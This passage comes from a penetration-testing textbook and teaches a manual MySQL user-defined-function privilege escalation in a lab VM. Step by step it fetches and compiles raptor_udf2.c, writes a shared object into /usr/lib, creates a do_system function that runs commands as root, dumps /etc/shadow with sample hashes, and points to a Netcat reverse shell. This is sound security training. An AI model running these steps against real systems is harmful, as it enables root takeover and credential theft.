This was the default behavior of MySQL and MariaDB for many years until they forcefully changed it to run as a lower-privileged user during the install. The reason for this change was due to a popular privilege escalation method on affected web servers. Attackers would compromise a web server through some form of injection attack, typically landing on the host as www or nobody. Then they would exploit the MySQL database to obtain root privileges on the host system. Because of its prominence and abuse by hackers, the MariaDB and MySQL software now installs as a low-privileged user by default. Nevertheless, you still see some administrators giving the database software root permissions when it does not need them.

We'll exploit that misconfiguration fact now by manually using a UDF exploit so as to help you better understand how Metasploit gave us a shell on PostgreSQL earlier. If you already know what you're looking for with the ps command, you could pipe your results to Grep to narrow down your search. Here's an example:

ps -aef | grep root

For this next exploit to work, you will also need to be able to read and write to the target's /tmp directory. This is a commonly used directory for exploitation purposes because it is often readable and writable by any user. You could write to it through the database software itself, but we will do so from our shell for simplicity.

Change to the directory using cd /tmp and then try to create a file: touch foo. Check this file's permissions using ls -l foo. As expected, you can see that the file belongs to the postgres user. Also, it is only readable and writable by this user, and this poses a problem should another process attempt to access the file. You can view and change the default permissions given to files by a particular user (or more accurately the current process) on creation using the umask command, which changes the file mode creation mask (known as the umask). The umask determines which permissions new files will have.

Enter the command umask 111, which will effectively change the postgres user's umask to 0111 (the leading 0 is not required when specifying a new mask, as when using chmod). Now create a file called foo2 using touch foo2. Check the file mode bits for this file, and you'll see that it is readable and writable by anyone on the system; that is, it has the permissions 666. A file mode creation mask is just that, a mask—it is not the default values to which files will be set but a logical operation that is applied. It is necessary for the MySQL database to be able to write files and read files in the /tmp directory that we will create. You'll see why soon enough. A commonly used secure umask is 077 which creates files as read and write for the user only, a more useful and widely used alternative is umask 022 which will create files as readable by all users on the system. You should set the postgres user to use umask 022.

You are now going to use some code written in C, which is obtainable from www.hackerhousebook.com/files/raptor_udf2.c. It was created by an Italian hacker known as Marco Ivaldi, with whom one of the authors has enjoyed competitive exploit-release races over the years. He is an expert in Solaris exploitation and has produced a number of excellent exploit resources. It is worth your time to browse through his work for additional learning.

Leaving your Metasploit session open in one terminal window or tab, download this exploit to your Kali Linux VM in another terminal. You will need to transfer the exploit from your Kali Linux VM to the target. This time, we will try using Python's SimpleHTTPServer module, which can be launched as follows on your Kali Linux machine. Run this from the same directory into which you have downloaded the raptor_udf2.c file:

python -m SimpleHTTPServer

You should see the following output:

Serving HTTP on 0.0.0.0 port 8000 …

You now have a web server listening on TCP port 8000 of your Kali Linux host. You can use this to serve files over VirtualBox's host-only network to your vulnerable or target VM. From your Metasploit session, which should still be running in another tab or window, use Wget to download the exploit to the target vulnerable machine as follows:

wget http://<KaliLinuxIP>:8000/raptor_udf2.c

You should see output similar to the following if the server is running, and you can see that the file you've requested exists on the server (in the same directory where you ran the Python SimpleHTTPServer command):

--2019-07-23 17:02:11-- http://192.168.56.102:8000/raptor_udf2.c
Connecting to 192.168.56.102:8000… connected.
HTTP request sent, awaiting response… 200 OK
Length: 3178 (3.1K) [text/plain]
Saving to: `raptor_udf2.c'
 
100%[======================================>] 3,178 --.-K/s in 0.01s
 
2019-07-23 17:02:11 (218 KB/s) - `raptor_udf2.c' saved [3178/3178]

A corresponding message will appear underneath your Python command, which shows that the server received a GET request along with the IP address of the client and date and time of the request.

192.168.56.104 - - [23/Jul/2019 18:09:21] "GET /raptor_udf2.c HTTP/1.1" 200 -

You could also have used Netcat to conduct this file transfer or used Metasploit as a means of transferring the file. So far, we've covered a few examples of file transfer over a network.

This raptor_udf2.c exploit works in a similar way to the Metasploit module ( postgres_payload) that you ran earlier, but you will need to perform several steps manually this time around. Another key difference is that it targets MySQL, not PostgreSQL. Remember that you want to obtain root access now, and the way to do that is through the MySQL daemon, which is running misconfigured as the Linux root user. You may not be able to exploit this issue on MySQL when it is not running as root, as it often requires the ability to read and write into a privileged file path on a Linux host. This is possible only when MySQL is running as root.

As with postgres_payload, this exploit will create a shared object on the target machine in the /tmp directory. The exploit is currently in source code form, so you can view it, which should be done anytime that you download attack code from the Internet. Once you've reviewed the source code and are satisfied that the code is legitimate and not a malicious backdoor, you will need to compile this file on the target machine. However, you do not want a regular executable file—you want a shared object. Make sure that you are running these next commands on the target system. This first command launches the GNU C compiler, which has an epic number of possible options (check out the man page) and will output a file called raptor_udf2.o without any indication that it has done so.

gcc -g -c raptor_udf2.c

The .o file is the compiled object, ready for linking and preparing for use as a system executable or a shared library file as in our case. Now create a shared object from this file using the following command:

gcc -g -shared -o raptor_udf2.so raptor_udf2.o -lc

Entering unfamiliar commands like this can be tricky, especially when you're entering them on a machine that you've just compromised. Those of you who took the trouble to read the source code for this exploit will probably have realized that manually entering the command is not necessary—the command is contained within the source code as a comment. Instead, use the cat or less command to output the source code to the terminal and then highlight the line to copy and paste it. However, if copy and paste does not work correctly for you, as is the case for scores of Linux users out there, manually inputting the information will achieve the same result. If you run ls -l rap*.so, you will see that you have three files now: the source, the .o file, and a .so file.

-rw-r--r-- 1 postgres postgres 3178 Apr 30 2018 raptor_udf2.c
-rw-r--r-- 1 postgres postgres 3372 Jul 23 17:17 raptor_udf2.o
-rwxr-xr-x 1 postgres postgres 6121 Jul 23 17:30 raptor_udf2.so

It is extremely important that you review the file permissions on the .so file that was created. If you do not have world-readable permissions, then the MySQL process will fail to read the file, and this can cause the exploit to fail after completing all of the steps. This is a common pitfall that many Hacker House students have fallen into, and it requires restarting the exploit process again from here, along with some cleanup of the failed attempt.

Launch the MySQL client, but this time on the target host using the same username root and password as before. You do not need to specify a host, as you are on the target machine accessing the local MySQL instance.

mysql -u root -p

You should have a mysql> prompt now. You can also exploit this same issue remotely and connect to the MySQL service from your Kali instance, though in the real world, it's more likely that you will not be able to connect directly to the MySQL service port and instead would use the tools on the target system. To continue with this exploit, you should follow the instructions that have been provided in the exploit's source code comments. We'll show and explain them here too. You may need to modify slightly the instructions to work on each system you target.

You will need to use the mysql database, so your first command is use mysql. You should see the “Database changed” message. Create a new table in this database called foo. It will have a single field called line of type blob. The SQL statement for this is as follows:

CREATE TABLE foo (line blob);

You will actually load the shared object that you compiled (which is a binary file) into this database table. As we mentioned at the beginning of this chapter, databases can be used to store all kinds of data, including binary objects, and we can certainly use this to our advantage. If you were to use the describe command to check the table that you just created, you'd see the following:

+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| line | blob | YES | | NULL | |
+-------+------+------+-----+---------+-------+
1 row in set (0.00 sec)

Using the INSERT SQL command and the MySQL load_file function, you can insert your shared object into this table. The command you should use is not identical to the command shown in the usage section of the source code. You will need to change the file path as shown here, because that is where the shared object is located on the target system:

INSERT INTO foo VALUES (load_file('/tmp/raptor_udf2.so'));

You should see a confirmation message like this:

Query OK, 1 row affected (0.01 sec)

If the shared object was successfully loaded into the table, then running SELECT * FROM foo; will result in a lot of unintelligible output. What you don't want to see is that the table still contains a NULL value, which means that the file was not loaded. This usually happens because of the aforementioned permissions problem.

Now the contents of that field can be dumped into another file. We're doing this to write to a directory on the target host that we were unable to write to as the postgres user. That directory is the /usr/lib directory. This is a kludgy yet necessary way to copy the shared object from /tmp to /usr/lib. If you do try to write to the /usr/lib directory as the postgres user, using touch /usr/lib/foo, for example, you'll see a Permission denied message.

touch: cannot touch `/usr/lib/foo': Permission denied

The shared object must be stored in the /usr/lib directory for MySQL to load it, and fortunately this is possible because of the MySQL process running as the Linux root user giving us the ability to read and write files as root. Dump the binary data (the shared object) from the foo table into a file using the dumpfile function, as follows:

SELECT * FROM foo INTO dumpfile '/usr/lib/raptor_udf2.so';

There is only one record in the foo table, with a single field, which is why this select * command works. Again, you'll see a Query OK message. You could verify that the file /usr/lib/raptor_udf2.so and the file /tmp/raptor_udf2.so are identical using a command like diff.

diff /tmp/raptor_udf2.so /usr/lib/raptor_udf2.so

If you get no output from this command, you're good to go. If there is a difference, you'll see something like this:

Binary files /tmp/raptor_udf2.so and /usr/lib/raptor_udf2.so differ.

You could also use sha256sum or ls -al to compare the file size and hash to check that they are identical.

If there is a difference between the two files, then the file you have written will not be usable for the exploit. You should check the permissions and validate that MySQL was able to read your .so file. Additionally, you will not be able to write to the same file twice using MySQL—a caveat that is unavoidable. As such, you will need to repeat the entire process again but choose an alternative name for your /usr/lib shared object, such as raptor_udf3.so.

Now that the shared object is in the /usr/lib directory, it can be used to create a new user-defined function. The usage guide for this exploit suggests a name of do_system for the UDF, since it will allow you to run system commands. These commands will run with the permissions of the MySQL database, which in this case are root permissions. Functions should always return a value (that's true whether defining a function in C, MySQL, or other any programming language), which is why you see the returns integer as part of the following command:

CREATE FUNCTION do_system RETURNS INTEGER soname 'raptor_udf2.so';

You should again see the familiar Query OK message. This indicates that it has created the do_system user-defined function within MySQL, and when this function is used in a statement, it will execute the code supplied in the .so file. You can confirm that the UDF exists with SELECT * FROM func;, which should show the following:

+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)

All that is left to do now is to run your new UDF, which you can do with the following syntax:

SELECT do_system('<Command>');

You might try running the id command with SELECT do_system(‘id'); to confirm that you really can run commands as the root user, but the result might not be exactly what you expected.

select do_system('id');
+-----------------+
| do_system('id') |
+-----------------+
| 0 |
+-----------------+
1 row in set (0.01 sec)

The function did what it was supposed to do and returned an integer value of 0, indicating a success. Remember that you are seeing the results of SQL statements—queries—inside the database, rather than the direct result of commands inside a shell. To see the results of your system commands, you'll need to output them to a file. The following shows the id command again, but with the output redirected to a file called out in the /tmp directory. The ownership (and group) of this file has also been changed to postgres so that you can read it.

SELECT do_system('id > /tmp/out; chown postgres:postgres /tmp/out');

To see the result of the id command, view the contents of the /tmp/out file ( cat /tmp/out), and you should see the following:

uid=0(root) gid=0(root) groups=0(root)

Why not try this command next?

SELECT do_system('cat /etc/shadow >> /tmp/out');

You've now found another way to access this VM's shadow file. Here are some hashes from our vulnerable database server, which will differ from the ones you see and that you can attempt to crack later:

postgres:$6$DiGsFg4S$zdTDX1sFO/rHjXk6rPMdWJ1Zv4Qx5ggZk7ZSGdZSi/Qt2U9JicWbIBkeei7S6XwiP8xXWEiDjkNnH7qgg3T4s.:17257:0:99999:7::: database:pAW8DmFCBqEmo:17257:0:99999:7:::
support:Dzww5H11RySYc:17257:0:99999:7:::
dba:VxfFM75hxlM0g:17257:0:99999:7:::
fredh:zQkVXUNL7/FuM:17257:0:99999:7:::
tomt:YySNBbemZW8pI:17257:0:99999:7:::
craigd:JjGYckqNwTlGU:17257:0:99999:7:::

To get an interactive shell, try using Netcat to send a shell back to your Kali Linux VM, where you'll need to have a Netcat listener waiting. You can find examples of this in earlier chapters, and it will work in the same way here. However, the do_system function may appear to hang until your Netcat session is completed.

Note that this exploit works only if the database is running with root permissions, something that was changed in more recent versions of MySQL and MariaDB because of the widespread exploitation of this issue. However, many system administrators mistakenly believe that databases should be running as root and give excessive permissions because of the earlier default behavior.

Summary

In this chapter, you were introduced to SQL and using command-line clients to navigate RDBMS such as MySQL and PostgreSQL. These relational database management systems use subdatabases to store metadata, which describes the actual data within a database. This is typically sensitive data that your client is storing and wouldn't want unauthorized users to access.

We gave you steps to obtain username and passwords for both the MySQL and PostgreSQL instances so that you could easily explore them and learn some basics. Generally, it won't be this easy to get access to a database (although it's always worth trying default usernames and passwords and credentials you find lying around). Brute-force attacks should be used sparingly, but Hacker House frequently targets databases with these types of attacks once an account lockout policy has been established.

DBMSs, whether relational or not, are like any other software programs in that they have histories of known vulnerabilities that you should be checking using version information that you find. It may be possible to bypass authentication completely using a public exploit or to break out of a database to get a shell as a user on the underlying operating system with a Metasploit module. You should always check for such possibilities. You should also be familiar with performing this process manually, as shown in our MySQL example, as often the prebuilt exploits will fail due to slight configuration differences in the database that you are targeting. The more you learn about databases, the more advanced your abuse of them will become.

You need to be comfortable browsing and manipulating data in a database using the command line. You also need to be confident with SQL syntax and commands, which you'll find extremely helpful when testing web applications. This will help you to find, exploit, and understand SQL injection vulnerabilities. In the next chapter, we'll show you exactly how to exploit a web application that is vulnerable to SQL injection.

In the “Privilege Escalation via Databases” section of this chapter, we showed you how to run commands as the root user by exploiting a MySQL daemon that was running as root. Once again, we made use of a shared object, which was loaded into the database, to create a UDF.

The PostgreSQL Metasploit exploit also used this same approach, creating a UDF from a shared object stored in the /tmp directory. It just removed the implementation details and simplified the process for you. Understanding how Metasploit modules function and the processes they perform will give you a significant advantage as a security tester, enabling you to make alterations to the process and remove configuration errors that prevent exploitation.